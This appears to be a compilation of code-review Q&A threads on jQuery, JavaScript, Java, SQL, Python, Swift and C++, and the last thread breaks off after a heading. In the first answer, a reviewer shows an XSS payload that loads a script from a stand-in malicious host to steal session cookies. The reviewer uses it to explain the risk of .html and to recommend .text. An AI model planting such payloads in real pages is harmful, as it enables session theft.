$.post("{{ route('task.load') }}", { _token: $('meta[name=csrf-token]').attr('content') }, function(data) {

    $task_summary = $('.taskload-stats');

    // update # of assigned
    $assigned = $task_summary.find('.assigned');
    $assigned.html(data.user.assigned);

    if (data.user.assigned > data.team_avg.assigned) {
        $assigned.append(' ');
    } else if (data.user.assigned === data.team_avg.assigned) {
        $assigned.append(' --');
    } else {
        $assigned.append(' ');
    }

    // update # of in progress
    $in_progress = $task_summary.find('.in-progress');
    $in_progress.html(data.user.in_progress);

    if (data.user.in_progress > data.team_avg.in_progress) {
        $in_progress.append(' ');
    } else if (data.user.in_progress === data.team_avg.in_progress) {
        $in_progress.append(' --');
    } else {
        $in_progress.append(' ');
    }

    // update # of in review
    $in_review = $task_summary.find('.in-review');
    $in_review.html(data.user.in_review);

    if (data.user.in_review > data.team_avg.in_review) {
        $in_review.append(' ');
    } else if (data.user.in_review === data.team_avg.in_review) {
        $in_review.append(' --');
    } else {
        $in_review.append(' ');
    }

    // update # of overdue
    $overdue = $task_summary.find('.overdue');
    $overdue.html(data.user.overdue);

    if (data.user.overdue > data.team_avg.overdue) {
        $overdue.append(' ');
    } else if (data.user.overdue === data.team_avg.overdue) {
        $overdue.append(' --');
    } else {
        $overdue.append(' ');
    }

    $(document).foundation('tooltip', 'reflow');
});

That code is full of security holes. Completely avoid .html, create elements programmatically, not as strings of html text. Use .text to set the visible text of elements securely.

What happens if data.user.assigned has this value:

<script src="//malicious.host.c0m/stealsession.js"></script>Visible Text

Then every user that views that page will load and run the malicious script and send their session cookie to the attacker, who can then impersonate you, because they have your session secret. The user will not be notified at all, they see "Visible Text"

You should not repeat yourself so much. You should create an element, and clone that off for each similar duplication of it. This way, you can just set those common attributes once and create copies of it efficiently.

You have everything named very nicely, you can leverage that and make it table driven:

See jsfiddle

$(function() {
  function createIcons(data, scope, names) {
    var template = $('<i/>', {
      'data-tooltip': '',
      'aria-haspopup': 'true',
      'class': "fa",
      'aria-hidden': "true"
    });

    names.forEach(function(descriptor) {
      var parent = scope.find(descriptor.sel),
          userVal = data.user[descriptor.prop],
          teamAvg = data.team_avg[descriptor.prop];
      parent.text(userVal);
      makeUpDownIcon(parent, template.clone(),
                     userVal, teamAvg);
    });
  }

  function makeUpDownIcon(outputParent, element, input, compareTo) {
    var title, classes;
    if (input > compareTo) {
      title = 'Above Team Avg';
      classes = 'fa-arrow-up above-avg';
    } else if (input === compareTo) {
      title = 'Equals Team Average';
      classes = 'neutral';
    } else {
      title = 'Below Team Avg';
      classes = 'fa-arrow-down below-avg';
    }

    return (element.attr('title', title)
            .addClass(classes)
            .appendTo(outputParent));
  }

  //faked $.post("{{ route('task.load') }}", { _token: $('meta[name=csrf-token]').attr('content') }, function(data) {
  var data = {
    user: {
      assigned: 11,
      in_progress: 10,
      in_review: 3,
      overdue: 44
    },
    team_avg: {
      assigned: 6,
      in_progress: 24,
      in_review: 2,
      overdue: 1
    }
  };

  $task_summary = $('.taskload-stats');

  createIcons(data, $task_summary, [
    { sel: '.assigned', prop: 'assigned' },
    { sel: '.in-progress', prop: 'in_progress' },
    { sel: '.in-review', prop: 'in_review' },
    { sel: '.overdue', prop: 'overdue' }
  ]);

  //$(document).foundation('tooltip', 'reflow');
});

Note that I forced in fake data because I cannot do the real ajax request on jsfiddle. I had to rip out that foundation thing to make it runnable too. You should have no trouble modifying that second part to actually use the post.

EDIT:

If you wanted to have a more complex template, say, a span with text and icon then you could do something a bit like this:

  function createIcons(data, scope, names) {
      var template = $('<div/>'),
          caption = $('<span/>', {
              'data-tooltip': '',
              'aria-haspopup': 'true',
              'class': '',
              'aria-hidden': 'true',
              appendTo: template
          }),
          icon = $('<i/>', {
              appendTo: template
          });

Then before each clone, you can reach into the template and do  caption.text(something) and icon.attr('class', 'fa fa-something'), then clone, then the clone will already be set, and no need to go .find into it.

Note that .text blows away all of the content of the node, so I restructured it so .text wont kill the icon.


String data manipulated given CSV variables The Requirements:

List the expensable items sorted by date and location given two variables: 'categories' and 'expenses'. The Categories variable provides the following information in order: Category ID, Category Name, and whether the category is expensable (Y/N). The Expenses variable  provides the following information in order: Location, Date, Item Description, Cost, and Category Code. Each line should be displayed in the format "DATE: LOCATION - $TOTAL".

I put it together in a single JavaScript executable.

The code:

// Input Values
var categories = "CFE,Coffee,Y\nFD,Food,Y\nPRS,Personal,N";
var expenses = "Starbucks,3/10/2018,Iced Americano,4.28,CFE\nStarbucks,3/10/2018,Nitro Cold Brew,3.17,CFE\nStarbucks,3/10/2018,Souvineer Mug,8.19,PRS\nStarbucks,3/11/2018,Nitro Cold Brew,3.17,CFE\nHigh Point Market,3/11/2018,Iced Americano,2.75,CFE\nHigh Point Market,3/11/2018,Pastry,2.00,FD\nHigh Point Market,3/11/2018,Gift Card,10.00,PRS";

var AcceptableExpenses = GetAcceptableExpenses(GetAcceptableCategories(categories), expenses)

AcceptableExpenses.forEach (AcceptableExpense =>{
    console.log(AcceptableExpense.join(''))
})

function GetAcceptableExpenses(AcceptableCategories, expenses){
    var ExpensesList = expenses.split("\n")
    var AcceptableExpenseTotals = []
    var categoryIndex = 4
    var venderIndex = 0
    var dateIndex = 1
    var priceIndex = 3

    var venderDate = []
    ExpensesList.forEach(expense => {
        var expenseItemized = expense.split(',')

        if ((categoryIndex < expenseItemized.length) && IsExpenseItemAcceptable(AcceptableCategories, expenseItemized[categoryIndex])){
            venderDate = [expenseItemized[dateIndex], ": ", expenseItemized[venderIndex], " - $"].join('')

            if ( IsVenderDateIncluded(AcceptableExpenseTotals, venderDate) ){
                UpdatePrice(AcceptableExpenseTotals, venderDate, expenseItemized[priceIndex] )
            }
            else{
                AcceptableExpenseTotals.push([venderDate, expenseItemized[priceIndex] ])
            }
        }
    })
    return AcceptableExpenseTotals
}
function IsVenderDateIncluded(AcceptableExpenseTotals, venderDate){
    var venderDateIndex = 0
    var IsIncluded = false

    AcceptableExpenseTotals.forEach( AcceptableExpenseTotal =>{
        if (AcceptableExpenseTotal[venderDateIndex] === venderDate){
            IsIncluded = true
        }
    })

    return IsIncluded
}

function UpdatePrice(AcceptableExpenseTotals, venderDate, price ){
    var venderDateIndex = 0
    var priceIndex = 1
    AcceptableExpenseTotals.forEach( AcceptableExpenseTotal =>{
        if (AcceptableExpenseTotal[venderDateIndex] === venderDate){
            AcceptableExpenseTotal[priceIndex] = parseFloat( price) + parseFloat(AcceptableExpenseTotal[priceIndex])
            return
        }
    })
}

function IsExpenseItemAcceptable(AcceptableCategories, category ){
    var IsAcceptable = false
    AcceptableCategories.forEach(AcceptableCategory => {
        if (AcceptableCategory === category){
            IsAcceptable = true
        }
    })
    return IsAcceptable
}

function GetAcceptableCategories(categories){
    var categoryList = categories.split("\n")
    var AcceptableCategory = []

    for (i = 0; i < categoryList.length; i++){
        var categoryData = categoryList[i].split(',');
        var locationOf_IsExpensible = 2;
        var locationOf_Category = 0;
        if (locationOf_IsExpensible < categoryData.length ){
            if (categoryData[locationOf_IsExpensible]==="Y"){
                AcceptableCategory.push(categoryData[locationOf_Category])
            }
        }
    }
    return AcceptableCategory
}

This code is a decent start, as it uses ES6 features like arrow functions. However it could take advantage of many Javascript features - e.g. IsExpenseItemAcceptable could be reduced to a single line using Array.includes(). Additionally, the index variables can be eliminated using the ES6 feature Destructuring assignment - specifically array destructuring.
Instead of lines like

var expenseItemized = expense.split(',')

if ((categoryIndex < expenseItemized.length) && IsExpenseItemAcceptable(AcceptableCategories, expenseItemized[categoryIndex])){

Destructuring assignment can greatly simplify this to something like:
const [vendor, date, item, price, category] = expense.split(',');
if (category && IsExpenseItemAcceptable(AcceptableCategories, category)){

Not only is that condition shorter, it doesn't require the use of the index and is more readable (and a typo on the word "vendor" was fixed).
In the example above const was used instead of var. It is recommended that const be the default keyword for initializing variables. If assignment is required, then use let.
The function GetAcceptableCategories could be simplified using Array.reduce(), similar to Array.forEach().
The data structure could be changed from an array to a plain object - i.e. {} to provide a mapping of vendor and date combinations to prices. This would allow the elimination of the functions updatePrice and IsVenderDateIncluded because the loop could be simplified to:
if (category && IsExpenseItemAcceptable(AcceptableCategories, category)){
    const vendorDate = [date, ": ", vendor, " - $"].join('')
    if (vendorDate in AcceptableExpenseTotals) {
        AcceptableExpenseTotals[vendorDate] += parseFloat(price);
    }
    else{
        AcceptableExpenseTotals[vendorDate] = parseFloat(price);
    }
}

This would require reformatting the output - e.g.
for (const [vendorDate, price] of Object.entries(AcceptableExpenses)) {
    console.log(vendorDate, price);
}


Importing MySQL Database to a .txt File We just finished working on a Database project in Java Netbeans. We added the feature Import which will import the database record of one user to a text file.

String IMPORT_QUERY =
    "SELECT pe.entry_id ID, pe.entry_account ACCOUNT, pe.entry_username USERNAME, pe.entry_password PASSWORD, pe.entry_category CATEGORY FROM password_entries pe JOIN accounts a ON a.user_id = pe.user_id WHERE username = ? AND password = ?";
    try {
        PrintWriter writer = new PrintWriter("D:\\Users\\mandu\\Documents\\NetBeansProjects\\PasswordVault\\src\\PasswordList.txt", "UTF-8");
        String location = "C:\\\\Users\\\\mandu\\\\Documents\\\\NetBeansProjects\\\\PasswordVault\\\\src";
        pstmt = conn.prepareStatement(IMPORT_QUERY);
        pstmt.setString(1, LogInFrame.username.getText());
        pstmt.setString(2, LogInFrame.password.getText());
        res = pstmt.executeQuery();
        writer.println("ACCOUNT" + "\t\t|\t" + "USERNAME" + "\t\t\t|\t" + "PASSWORD" + "\t\t\t|\t" + "CATEGORY" + "\t\t|\t\n");
        writer.println("--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------");
            while(res.next()){
                entryAccount = res.getString("ACCOUNT");
                entryUsername = res.getString("USERNAME");
                entryPassword= res.getString("PASSWORD");
                entryCategory = res.getString("CATEGORY");
                writer.println(entryAccount + "\t\t\t|\t" + entryUsername + "\t\t\t|\t" + entryPassword + "\t\t\t|\t" + entryCategory + "\t\t\t|\t\n");
            }
                writer.println();
                writer.println();
                writer.println("++++++++++++++++++++++WARNING!++++++++++++++++++++++");
                writer.println();
                writer.println("FILE ADDRESS: " + location);
                writer.println();
                writer.println("Please COPY the FILE ADDRESS above and DELETE the 'PasswordList.txt' file AFTER you COPY you RECORDS.");
                writer.println();
                writer.println("TO AVOID SOMEONE FROM COPYING YOUR RECORDS.");
                writer.close();
            JOptionPane.showMessageDialog(null,"\nData Imported!","Prompt:", JOptionPane.INFORMATION_MESSAGE);
            OpenFile();
    } catch (FileNotFoundException ex) {
        JOptionPane.showMessageDialog(null,"\nFile not found. Please check the file location.","Error x203", JOptionPane.ERROR_MESSAGE);
        ex.printStackTrace();
    } catch (UnsupportedEncodingException ex) {
        JOptionPane.showMessageDialog(null,"\nUnsupported Encoding. Please check the Target file.","Error x204:", JOptionPane.ERROR_MESSAGE);
        ex.printStackTrace();
    } catch(SQLException | HeadlessException ex){
        JOptionPane.showMessageDialog(null,"\nError occured while communicating with the server.","Error x205", JOptionPane.ERROR_MESSAGE);
        ex.printStackTrace();
    } catch (IOException ex) {
        JOptionPane.showMessageDialog(null,"\nError occured in getting input.\nPlease try again.\n","Error x206:", JOptionPane.ERROR_MESSAGE);
        ex.printStackTrace();
    }

}

Any ideas/opinions about the code, or is there any way to get the columns aside from getString()? Did I violate some rules with regards to error checking?

Any ideas/opinions about the code I written?

A couple of points on readability:

your code does too much. It reads from the database, it prints to a file, it prints to a GUI, and it formats strings. I would create separate methods for each of these activities (or at least for the formatting and the printing to GUI).
240 characters are definitely too long for one line. I would try for 80 chars, 120 max.
your directory location string is duplicated. Define it in a static field and then use new PrintWriter(location + "\\PasswordList.txt", "UTF-8");
why are there so many backslashes in your path? I'm not that familiar with Java + Windows, but this seems unnecessary.
just using a bunch of tabs for alignment is quite messy (the code is messy, and the result will be messy as well). Use either CSV (the code will be cleaner, the output really messy, but at least it will be on purpose), or use some code for proper alignment.
you have way too many println. Just use \n.
your indentation is off, which makes it harder to read.
try to reduce the length of your try blocks. It's really hard to see what exception might be thrown by what operation if you just catch them all at the very end. You could also use try-with-resources.
Please COPY the FILE ADDRESS above and DELETE the 'PasswordList.txt' file: people are not going to do that. If this is important for security (and it kind of seems like it would be), you should find a different way to handle this.
a lot of your variables seem to be defined in a large scope, even though it isn't necessary. Eg entryX (which aren't needed at all, just use the value directly), pstmt, res, etc.


Comparing JSON documents for changes to values Please go through below code and improve the quality by reducing the IF conditions:

I have 2 jsons, first one is the source and second one is the updated json. I have to compare both values and set true/false flags. Based on the flags i need to proceed further.

I am checking below conditions:

NULL changed to DECLINED
NULL changed to a VALUE
VALUE changed to DECLINED
VALUE1 changed to VALUE2

O/P -
canProceed = (nullDec) ? (nullDec && (nullVal || valDec || valVal)) :(nullVal || valDec || valVal);

Plnkr - https://plnkr.co/edit/gKJXibTFQhInBOhz?open=lib%2Fscript.js

import angular from 'angular';

angular.module('plunker', []).controller('MainCtrl', function($scope) {
  $scope.name = 'Plunker';

    var json1={id:"01", name:"Jon", city:null, state:"NY", phone:null, zip:"06033"};
    var json2={id:"02", name:"Kris", city:"DECLINED", state:"DECLINED", phone:"860-000-0000", zip:"06033"};
    var json3={id:"02", name:"Sam", city:"EDISON", state:"DECLINED", phone:"860-000-0000", zip:"06033"};

    compareJsons(json1, json2);

    function compareJsons(model1, model2){
        console.log(model1);
        console.log(model2);

        var decline = "DECLINED";
        var canProceed = false;
        var nullVal = false;
        var nullDec = false;
        var valDec = false;
        var valVal = false;

        angular.forEach(model1, function(m1Val, m1Key){
           if(!m1Val){
               console.log("Found NULL - "+ m1Key +" - " + m1Val);

              angular.forEach(model2, function(m2Val, m2Key){
                  if((m2Key === m1Key) && (m2Val !== m1Val)){
                      console.log(m1Key +" - " + m1Val + "  CHANGED TO  " + m2Key +" - " + m2Val);
                      if((m2Val === decline) && !(m1Val)){
                          nullDec = true;
                      }
                      if(((m2Val) && (m2Val !== decline)) && !(m1Val)){
                          nullVal = true;
                      }
                  }
              })
           } else {
              angular.forEach(model2, function(m2Val, m2Key){
                  if(m2Key === m1Key && m2Val !== m1Val){
                      if(m2Val === decline){
                            console.log(m1Key +" - " + m1Val + "  CHANGED TO " + m2Key +" - " + m2Val);
                            if(((m1Val) && (m1Val !== decline)) && (m2Val)){
                                valDec = true;
                            }
                      }else{
                            console.log(m1Key +" - " + m1Val + "  CHANGED TO " + m2Key +" - " + m2Val);
                            if((m1Val) && (m2Val)){
                                valVal = true;
                            }
                      }
                  }
              });
           }
        });

        console.log("NULL to DECLINE    - " + nullDec);
        console.log("NULL to VALUE      - " + nullVal);
        console.log("VALUE to DECLINE   - " + valDec);
        console.log("VALUE1 to VALUE2   - " + valVal);

        canProceed = (nullDec) ? (nullDec && (nullVal || valDec || valVal)):(nullVal || valDec || valVal);

        console.log("Can Proceed        - " + canProceed);

    }

});

Your code look good, but there is some room for improvements.

Comment your code

Its is a good pratice to comment the behavior that you code should have.
There is a good article written by Jeff Atwood called "Code Tells You How, Comments Tell You Why",
when you have time you should read it, but the best way that i find to write comments its to write them
before the code itself.

So if i had to write your code myself my first step would be something like:

// iterate all properties
    // check if the the first value is defined
        // ...
    // if the value is not defined then
        // ...

The hard part its (almost) never writing the code itself but thinking about it, if you have no problems
writing these comments you should have no problems writing the code itself. This helps you to make sure that
you undertand the problem that you are trying to solve with code, if If you find diffucults in this step you
should spend more time thinking about the problem.

Iterators

You are using forEach but seems that you only need to iterate until the first positive result so you may use some,
so your function will not need to iterate all the elements, so your function would be something like:

angular.some(model2, function(m2Val, m2Key){
  if((m2Key === m1Key) && (m2Val !== m1Val)){
      console.log(m1Key +" - " + m1Val + "  CHANGED TO  " + m2Key +" - " + m2Val);
      if((m2Val === decline) && !(m1Val)){
          nullDec = true;
      }
      if(((m2Val) && (m2Val !== decline)) && !(m1Val)){
          nullVal = true;
      }
  }
  return nullDec && nullVal;
})

Conditionals

Inside the if(!m1Val) you have the conditionals (m2Val === decline) && !(m1Val) and (m2Val) && (m2Val !== decline)) && !(m1Val),
you don't need to check m1Val again because its was already checked, the same its true to the block of code of your else statment.

Complexity

If you are sure that all the keys in model1 is always exist in model2 you don't need to iterate model2 to get its value.

Instead of the second forEach if the (m2Key === m1Key) you can get the value of the m1Key in the model2 object without the second loop;

This code have O(n^2) complexity:

angular.forEach(model1, function(m1Val, m1Key){
   if(!m1Val){
      angular.forEach(model2, function(m2Val, m2Key){
          if((m2Key === m1Key) && (m2Val !== m1Val)){

          }
      })
   }
}

This one below have O(n), but will need to make sure that all model1 and model2 have the same keys, or add some conditionals to
make sure that the behavior is correct.

angular.forEach(model1, function(m1Val, m1Key){
    if (!m1Val) {
        if (m1Val !== model2[m1Key]) {
            // ...
        }
    }
}

Even without these improvements your code passed all the test cases that i could come up with, so you just need to adjust your
style and get deep understanding of the JS api. I can see that you tried to cover all possible cases that is pretty good, you should continue aim for this as much as possible.


Project Euler - Smallest multiple Here's Problem 5 - Smallest multiple

2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.

What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?

How can I improve this code? How to make it faster? Is there a better/faster solution?

#include <iostream>

bool calculate(int number, int n) {
    if (n == 0) {
        return true;
    }
    return (number % n != 0) ? false : calculate(number,n-1);
}

int main() {
    int number = 20;
    int result = number;
    while (!calculate(result, number)) {
        result += number;
    }
    std::cout << result << '\n';
}

You arrive at the answer by counting 20 at a time.  That's 11639628 iterations of the main loop — and many recursive calls to calculate().

A more efficient and satisfying approach would be to use the Euclidean Algorithm to compute LCMs.

Note that an int is not guaranteed to be large enough to hold the result.  I suggest using long everywhere.

#include <iostream>

long gcd(long a, long b) {
    while (b) {
        int prevB = b;
        b = a % b;
        a = prevB;
    }
    return a;
}

long lcm(long a, long b) {
    return a * (b / gcd(a, b));
}

int main() {
    long result = 20;
    for (long number = result - 1; number > 1; --number) {
        result = lcm(result, number);
    }
    std::cout << result << '\n';
}


CLI Twitter client in Python Here is a simple client for Wwitter that I wrote based on the twitter library in Python. The aim is to be able to read the feeds from different twitter accounts from the same place in a light way.

I should mention that the code does what I want it to do. Nevertheless, how could I improve it?

(It is available on GitHub.)

#!/usr/bin/python

import sys
import os
import getopt
from twitter import *

# Default values
def_counts = 10
users = []
dir_creds = "./data/oauth/"

# input parameters
def usage():
  print "Run: " + sys.argv[0] + " [OPTIONS]"
  print "Where OPTIONS is one the following: "
  print " -h --help"
  print " -c N --counts=N"
  print " -u \"name\" --user=\"name\""
  print " -a --all"
  print " -l --list"

def main(argv):
  global def_counts, users
  try:
    opts, args = getopt.getopt(argv,"hc:u:al",["help","counts=","user=","all","list"])
  except getopt.GetoptError:
    usage()
    exit(2)
  for opt,arg in opts:
    if opt in ["-h","--help"]:
      usage()
      exit(1)
    elif opt in ["-c","--counts"]:
      print "Retrieving "+str(arg)+" tweets."
      def_counts = arg
    elif opt in ["-u","--user"]:
      print "User: "+arg
      users.append(arg)
    elif opt in ["-a","--all"]:
      print "all users"
      if os.path.exists(os.path.expanduser(dir_creds)):
        token_files = filter(lambda x: x.endswith('.token'), os.listdir(os.path.expanduser(dir_creds)))
        for file in token_files:
          usr = file[:file.index(".token")]
          users.append(usr)
      else:
        print "No user to be added, path undefined"
        exit(2)
    elif opt in ["-l","--list"]:
      if os.path.exists(os.path.expanduser(dir_creds)):
        token_files = filter(lambda x: x.endswith('.token'), os.listdir(os.path.expanduser(dir_creds)))
        for file in token_files:
          usr = file[:file.index(".token")]
          print usr
    else:
      print "Got the following and I don't know what to do with it:"
      print opt + " " + arg
      usage()
      exit(2)

if __name__ == "__main__":
  main(sys.argv[1:])

if len(users) < 1:
  users.append("bilbo_pingouin")

col_bgred   = '\033[41m'
col_bold    = '\033[1m'
col_fgblue  = '\033[34m'
col_fggreen = '\033[32m'
col_fggrey  = '\033[90m'
col_end     = '\033[0m'

for user in users:
  print "\n" + col_bgred + col_bold + user + col_end
  # Retrieve the credentials for a given account
  if not os.path.exists(dir_creds):
    os.makedirs(dir_creds) # I just assume there is not race issue here!

  file_creds = dir_creds + user + ".token"
  MY_TWITTER_CREDS = os.path.expanduser(file_creds)

  api_token_file = "data/api_token.dat"
  if os.path.exists(api_token_file):
    cust_token, cust_secret =     read_token_file(os.path.expanduser(api_token_file))
  else:
    print "ERROR: The app is not identified!"

  if not os.path.exists(MY_TWITTER_CREDS):
    oauth_dance("Twit on CLI",cust_token,cust_secret,
            MY_TWITTER_CREDS)

  oauth_token, oauth_secret = read_token_file(MY_TWITTER_CREDS)

  # OAuth idnetification
  t = Twitter(auth=OAuth(oauth_token,oauth_secret,cust_token,cust_secret))

  # Get status
  data = t.statuses.home_timeline(count=def_counts)

  # Print lines
  for c in range(len(data)):
    print "* " + col_fggreen+col_bold+data[c]['user']['name']+col_end + ' (' + col_fgblue+data[c]['user']['screen_name']+col_end + ')' + " - " + data[c]['text'] + col_fggrey+" ## "+data[c]['created_at']+col_end

For starters using Python 3 or at least being compatible with it would
be a good idea.  Meaning that all the print calls should be using the
function form, i.e. print(...).

Next, take a look at PEP8
and use four spaces for indentation.

Parsing command line arguments is a bit nicer with
argparse, but since
you're already done with it it might not make too much sense to rewrite
that part.

There's duplicated for the "--all" and "--list" cases that would be
better served with a common function.

The colour definitions can be taken from some module, e.g. take a look
at termcolor or
colorama.

Lastly the for c in range(len(data)): will always be a pattern that
should be replaced with direct iteration, i.e. for x in data:.  The
line is also way to long to read it easily.


Big Nerd Ranch Bronze Challenge: Disallow Alphabetic Characters I just completed BNR's bronze challenge for disallowing alphabetic characters, and would love some feedback on what I did right and wrong, and how I can improve my code for reusability and maintainability.

Here's a snippet of instruction from their book, iOS Programming: The Big Nerd Ranch Guide (5th Edition) (Big Nerd Ranch Guides):

  Currently, the user can enter alphabetic characters either by using a Bluetooth keyboard or by pasting copied text into the text field. Fix this issue. Hint: you will want to use the NSCharacterSet class.

I basically have a text field that takes numeric input. I allow the user to enter digits 0-9, inclusive with negative numbers and one decimal point. What the app does is convert Fahrenheit to Celsius, but that's not entirely relevant.

My ViewController is conforming to the UITextFieldDelegate protocol, and I'm implementing:

optional public func textField(textField: UITextField, shouldChangeCharactersInRange range: NSRange, replacementString string: String) -> Bool

Here's my snippet:

func textField(textField: UITextField, shouldChangeCharactersInRange range: NSRange, replacementString string: String) -> Bool {
    let existingTextHasDecimalSeparator = textField.text?.rangeOfString(".")
    let replacementTextHasDecimalSeparator = string.rangeOfString(".")

    if string.characters.count == 0 {
        return true
    }
    else {
        if let _ = string.rangeOfCharacterFromSet(NSCharacterSet(charactersInString: "-0123456789.")) {
            if existingTextHasDecimalSeparator != nil && replacementTextHasDecimalSeparator != nil {
                return false
            }
            else {
                return true
            }
        }
        return false
    }
}

Two problems in your code

You check if the replacement string contains at least one allowed
character, so that pasting  "1A" into the text field would be accepted.
Instead you should check if the string contains no invalid character:

if string.rangeOfCharacterFromSet(
    NSCharacterSet(charactersInString: "-0123456789.").invertedSet) != nil {
    return false
}

(I prefer a comparison != nil over an optional binding to the
unused variable _ in this situation.) Note that this makes the initial
check for a non-empty string obsolete.

In order to prevent two decimal separators (such as "1.2.3"), you check if both
the existing string and the replacement string contain a period. But
this prevents the replacement of – for example – "1.2" by "3.4" with
copy/paste. To handle that correctly, you have to build the
new string and check that:

if let existingString = textField.text as NSString? {
    let newString = existingString.stringByReplacingCharactersInRange(range, withString: string)
    // check if `newString` contains more than one dot `.`
    // ...
}

Possible improvements

The decimal separator is not always the
dot character ".". In Germany for example (and many other countries),
floating point numbers are written as "12,34" with a comma as separator, and that would be denied with your code.

You could determine the correct localized decimal separator at
runtime:

let separator = NSNumberFormatter().decimalSeparator

and use that instead of the hard-coded period. But that still does not
cover all invalid input, such as "12-34-56".

There is a better (and simpler) solution: Check if the new string
after replacement can successfully be converted to a number, using
a NSNumberFormatter. That will recognize valid numbers according to
the user's locale correctly:

func textField(textField: UITextField, shouldChangeCharactersInRange range: NSRange, replacementString string: String) -> Bool {

    // Get current string as `NSString`
    guard let existingString = textField.text as NSString? else { return false }
    // Perform replacement:
    let newString = existingString.stringByReplacingCharactersInRange(range, withString: string)
    // Check for empty result ...
    if newString.isEmpty {
        return true
    }
    // ... or valid number:
    let fmt = NSNumberFormatter()
    fmt.numberStyle = .DecimalStyle
    return fmt.numberFromString(newString) != nil
}

Since creating a number formatter is "expensive" (compare
NSFormatter - NSHipster), you
can improve that further by creating the formatter only once – for example as a static property.


Fetching all nodes of a directed graph by an id of any node Task: Rowset of all reachable(in any direction) nodes from any node in a graph. In other words I need to extract all nodes of a particular graph from a table in the database where graph specified by an id of any one graph node. The final goal is a map in the app.

Table structure of DocumentDependency is simple as:

descendant_id | predecessor_id
-------------------------------
     2857     |      2856
     2858     |      2856
     2859     |      2856
     2859     |      2857
     2860     |      2859
     2861     |      2859

Finally I came up with CTE:

WITH RECURSIVE DocumentGraph AS
(
    SELECT
        CASE WHEN predecessor_id = 2858 THEN descendant_id ELSE predecessor_id END AS anchor_id,
        ARRAY[ROW(predecessor_id, descendant_id)] path,
        1 depth

    FROM
        DocumentDependency

    WHERE
        2858 in (descendant_id, predecessor_id)

    UNION ALL

    SELECT
        CASE WHEN DocumentDependency.predecessor_id = DocumentGraph.anchor_id THEN DocumentDependency.descendant_id ELSE DocumentDependency.predecessor_id END,
        path || ROW(DocumentDependency.predecessor_id, DocumentDependency.descendant_id) path,
        depth + 1

    FROM
        DocumentGraph

    JOIN DocumentDependency ON
        DocumentGraph.anchor_id in (DocumentDependency.predecessor_id, DocumentDependency.descendant_id)
        AND
        ROW(DocumentDependency.predecessor_id, DocumentDependency.descendant_id) <> ALL(path)
)

There are a lot discussions about directed graphs and this is sort of a compilation from stack* and one useful book1, but I'm experiencing an overdose and what I need is criticism.

Maybe this is generally an inappropriate approach? =)
Lightweight? (What if DocumentDependency will have 500k rows?)
Portability? (for now I'm using PostgreSQL12)
Simplicity? (I'm under custom ORM and need to extend for ROWS/ARRAYS/CTE support but probably there is a way to avoid using arrays?)

1Joe Celko's Trees and Hierarchies in SQL For Smarties (highly recommended, btw ;)

I am not well qualified to answer this, as I know nothing of PostgreSQL or the RECURSIVE extension you are using, so unfortunately I cannot very well comment on your solution.

However perhaps it can be tackled with (relatively!) standard SQL. Let's define a temporary table

CREATE TABLE #Temp ( id int, status int )

A status of 1 will indicate the node is reachable, but it has not yet been processed, a status of 2 indicates the node is reachable, and all immediate descendants have been added. We initialise by inserting the starting node ( I think in your example it is 2858 ).

INSERT INTO #temp ( id, status ) VALUES ( 2858, 1 )

Now we can set up a loop to insert all the reachable nodes:

DECLARE @x int
WHILE 1 = 1
BEGIN
  SELECT @x = -1 -- Some value that is not a valid node id
  SELECT @x = id FROM #Temp WHERE Status = 1
  IF @x = -1 BREAK -- All reachable nodes processed.

  INSERT INTO #temp( id, status )
  SELECT descendant_id, 1
  FROM DocumentDependency WHERE predecessor_id = @x
  AND descendant_id NOT in ( SELECT id FROM #Temp )

  UPDATE #temp SET status = 2 WHERE id = @x
END

When the loop terminates, #Temp should contain all the reachable node ids. Provided suitable indexes are defined, I think this should be reasonably efficient. As a variation, you could perhaps process multiple nodes with status 1 on each iteration of the loop, I will leave that as an exercise ( you may need an extra status value to differentiate between nodes that have just been added and nodes that are being processed ).


CoffeeScript date formatting forceTwoDigits = (val) ->
  if val < 10
    return "0#{val}"
  return val

formatDate = (date) ->
  year = date.getFullYear()
  month = forceTwoDigits(date.getMonth()+1)
  day = forceTwoDigits(date.getDate())
  hour = forceTwoDigits(date.getHours())
  minute = forceTwoDigits(date.getMinutes())
  second = forceTwoDigits(date.getSeconds())
  return "#{year}#{month}#{day}#{hour}#{minute}#{second}"

console.log(formatDate(new Date()))

Is there a better way to do this?

Updated:

formatDate = (date) ->
  timeStamp = [date.getFullYear(), (date.getMonth() + 1), date.getDate(), date.getHours(), date.getMinutes(), date.getSeconds()].join(" ")
  RE_findSingleDigits = /\b(\d)\b/g

  # Places a `0` in front of single digit numbers.
  timeStamp = timeStamp.replace( RE_findSingleDigits, "0$1" )
  timeStamp.replace /\s/g, ""


Depth First Search in C++ After studying from Introduction to Algorithm and taking help from internet I have written a program. I don't know much about C++11. Please help me to optimize this program with better functions and better runtime.

Note: I have used adjacency matrix instead of adjacency list and I don't know whether I have used it in correct way.

#include <iostream>
#include <vector>

class Graph
{
  int V; //no of Vertices
  enum class Color { WHITE, GRAY, BLACK };

  struct Vertex
  {
  char id;
  Color color;
  Vertex(char c, Color clr) : id(c), color(clr) {}
  };
  std::vector< std::vector<int> > adjMatrix; //adjacency Matrix
  std::vector<Vertex> vertices;

public:
  Graph(int);
  void addEdge(int, int);
  void DFS(int);
};

Graph::Graph(int v)
{
  V = v;
  adjMatrix.resize(V, std::vector<int>(V));
  for(int i = 0; i < V; i++)
  {
    vertices.push_back( Vertex('A'+i, Color::WHITE));
    for(int j = 0; j < V; j++)
    {
      adjMatrix[i][j] = 0;
    }
   }
}

void Graph::addEdge(int a, int b)
{
  adjMatrix[a][b] = 1;
}

void Graph::DFS(int u)
{
  vertices[u].color = Color::GRAY;
  std::cout << vertices[u].id <<" ";

  for(int i = u; i < V; i++)
  {
    for(int j = 0; j < V; j++)
    {
      if(adjMatrix[i][j] == 1)
      {
        if(vertices[j].color == Color::WHITE)
        DFS(j);
      }
    }
  }
  vertices[u].color = Color::BLACK; //blacken u, it is finished
}

int main()
{
  Graph grp(4);
  grp.addEdge(0, 1);
  grp.addEdge(1, 2);
  grp.addEdge(2, 3);
  grp.addEdge(2, 1);
  grp.addEdge(0, 3);

  grp.DFS(2);
  return 0;
}

Reduce Complexity, Follow SRP
